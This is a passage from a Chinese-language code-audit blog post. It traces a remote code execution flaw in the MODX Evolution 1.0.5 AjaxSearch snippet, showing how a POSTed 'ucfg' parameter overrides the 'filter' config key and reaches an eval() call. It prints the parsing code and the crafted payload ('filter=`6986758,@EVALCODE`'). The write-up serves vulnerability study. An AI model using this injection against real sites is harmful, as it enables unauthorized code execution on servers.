&lt;p&gt;查看调用栈，找到&lt;code&gt;$asCfg&lt;/code&gt;变量初始化的地方：&lt;code&gt;AjaxSearch&lt;/code&gt;类文件，&lt;code&gt;if (!$asCfg-&amp;gt;initConfig($msgErr)) return $msgErr;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593884983993" src="https://s2.loli.net/2024/06/14/7JPC9HoRmgD3j2c.png"&gt;&lt;/p&gt;
&lt;p&gt;下断点跟入&lt;code&gt;initConfig&lt;/code&gt;方法，发现cfg成员变量是dcfg和ucfg合并之后的结果，dcfg是&lt;code&gt;evolution-1.0.5\assets\snippets\ajaxSearch\configs\default.config.php&lt;/code&gt;定义的一个关联数组，而ucfg来自此处&lt;code&gt;$this-&amp;gt;ucfg = $this-&amp;gt;parseUserConfig(strip_tags($_POST['ucfg']));&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;他是我们通过POST请求传入的参数，跟入&lt;code&gt;parseUserConfig&lt;/code&gt;方法（我做了一些变量的输出，重点关注&lt;code&gt;parseUserConfig&lt;/code&gt;方法体）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;//对传入的ucfg参数进行处理&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;parseUserConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$strUcfg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$ucfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="c1"&gt;//  &amp;amp;一串不包含=的字符串=`一串不包含`的字符串`&lt;/span&gt;
    &lt;span class="nv"&gt;$pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/&amp;amp;([^=]*)=`([^`]*)`/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;//要匹配的内容在两个括号里，$out最终会变成一个长度为3的数组，第一个存储的是匹配出的所有模式，&lt;/span&gt;
    &lt;span class="c1"&gt;//第二个存储的是第一个括号里的内容，第三个存储的是第二个括号里的内容&lt;/span&gt;
    &lt;span class="c1"&gt;//根据输入的字符串，可能会匹配出多组，第一个括号里的模式存在out[1]，第二个括号里的模式存在out[2]中&lt;/span&gt;
    &lt;span class="nb"&gt;preg_match_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$strUcfg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;pre&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;print_r&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;pre&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$values&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$ucfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="c1"&gt;//处理完成后$ucfg会变成一个关联数组&lt;/span&gt;
    &lt;span class="c1"&gt;//如果我们的$$strUcfg的值是&amp;amp;a=`aksdajldasjds`&lt;/span&gt;
    &lt;span class="c1"&gt;//则$ucfg的值为[a] =&amp;gt; aksdajldasjds&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$ucfg&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$strUcfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;amp;a=`24yhgr5w3bsf`&amp;amp;b=`24wrgsfgesdg`&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parseUserConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$strUcfg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;hr&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;br /&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;pre&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;print_r&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ret&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;pre&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;运行结果：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593885841779" src="https://s2.loli.net/2024/06/14/FUqwbkzTINQJvie.png"&gt;&lt;/p&gt;
&lt;p&gt;现在我们的POST参数如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593885922797" src="https://s2.loli.net/2024/06/14/jUkxcAPrYJW6eLI.png"&gt;&lt;/p&gt;
&lt;p&gt;现在让我们回到这个断点：&lt;code&gt;$this-&amp;gt;_filterValue = eval(substr($filterArray[1], 5));&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593886050409" src="https://s2.loli.net/2024/06/14/8AKMrmXfIjsPFZE.png"&gt;&lt;/p&gt;
&lt;p&gt;在前面的分析中，我们知道了&lt;code&gt;AjaxSearchConfig&lt;/code&gt;对象的cfg成员变量是由dcfg和ucfg使用&lt;code&gt;array_merge&lt;/code&gt;方法合并之后形成的，dcfg我们不可控，可控的变量是ucfg，ucfg是一个关联数组，我们开始的payload是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n n-Quoted"&gt;`aksdajldasjds`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;形成的关联数组是&lt;code&gt;a =&amp;gt; aksdajldasjds&lt;/code&gt; ，如果我们把ucfg参数的值构造为下面的样子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n n-Quoted"&gt;`aksdajldasjds`&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n n-Quoted"&gt;`6986758`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;则生成的关联数组是&lt;code&gt;a =&amp;gt; aksdajldasjds    filter =&amp;gt; 6986758&lt;/code&gt; ，所谓后来者居上，&lt;code&gt;array_merge&lt;/code&gt;方法会让后面的关联数组的键覆盖已经存在的键，如此一来，&lt;code&gt;$this-&amp;gt;asCfg-&amp;gt;cfg['filter']&lt;/code&gt;就是可控的变量了&lt;/p&gt;
&lt;p&gt;现在我们直接将断点下在代码执行的地方&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593886461579" src="https://s2.loli.net/2024/06/14/A3Lifavyelt6Okq.png"&gt;&lt;/p&gt;
&lt;p&gt;发送POST请求，未进入else分支，分析if分支的代码，回溯&lt;code&gt;$filterArray&lt;/code&gt;变量，发现该变量是由我们可控的变量&lt;code&gt;$this-&amp;gt;asCfg-&amp;gt;cfg['filter']&lt;/code&gt;使用&lt;code&gt;,&lt;/code&gt;分割生成的数组，我们要想进入else分支，就要满足&lt;code&gt;substr($filterArray[1], 0, 5) == "@EVAL"&lt;/code&gt;，这就要求我们构造的filter键的值包含&lt;code&gt;,&lt;/code&gt;不然数组长度为1，&lt;code&gt;$filterArray[1]&lt;/code&gt;根本就不存在，且&lt;code&gt;,&lt;/code&gt;后面的前5个字符应该为&lt;code&gt;@EVAL&lt;/code&gt;，后面为我们要执行的命令，最终构造出来的ucfg的值应该为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n n-Quoted"&gt;`aksdajldasjds`&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n n-Quoted"&gt;`6986758,@EVALCODE`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1593886820179" src="https://s2.loli.net/2024/06/14/iNvVRYCfaBLhgwu.png"&gt;&lt;/p&gt;
&lt;p&gt;至此，代码审计完成，成功触发RCE漏洞&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;本次代码审计的整体过程还是比较简单的，因为源代码并未对用户的恶意输入进行任何过滤&lt;/p&gt;
&lt;p&gt;再次感谢&lt;a href="https://licongm.github.io/"&gt;licong&lt;/a&gt;师傅在此次审计过程中的指导&lt;/p&gt;
&lt;p&gt;这里有一个地方需要说一下，在调试过程中我更改了&lt;code&gt;ajaxSearchPopup.php&lt;/code&gt;的代码（&lt;strong&gt;这是很严重的错误操作，代码审计是绝对不允许更改源代码的&lt;/strong&gt;）&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593967064949" src="https://s2.loli.net/2024/06/14/TGjK9DFRWf1k5mH.png"&gt;&lt;/p&gt;
&lt;p&gt;因为在调试过程中总是出现某些常量没有被定义的情况，因此直接将配置文件手动包含了进来，后来从&lt;a href="https://forums.modx.com/thread/6555/what-is-the-index-ajax-php-file-for"&gt;官网论坛&lt;/a&gt;中了解到，必须要通过根目录下的&lt;code&gt;index-ajax.php&lt;/code&gt;进入&lt;code&gt;ajaxSearchPopup.php&lt;/code&gt;，一些变量的定义也是在该文件中进行的，不通过&lt;code&gt;index-ajax.php&lt;/code&gt;是无法使用&lt;code&gt;$modx&lt;/code&gt;变量的&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;index-ajax.php&lt;/code&gt;中进行了配置文件的引入&lt;/p&gt;
&lt;p&gt;&lt;img alt="1593967324354" src="https://s2.loli.net/2024/06/14/Jf4LuTMdwSij13X.png"&gt;&lt;/p&gt;
&lt;p&gt;因此直接按照上面截图中的POST请求是无法触发RCE的，其实只需要分析&lt;code&gt;index-ajax.php&lt;/code&gt;对POST请求做一下修改即可，详情不再赘述&lt;/p&gt;
&lt;p&gt;这里学到的一个经验就是，如果出现常量未定义的错误，可以去找一下常量是在哪个文件中定义的，然后找出所有引用了该文件的代码，分析和漏洞代码有关联的代码，最终确定入口&lt;/p&gt;</content><category term="代码审计"></category></entry></feed>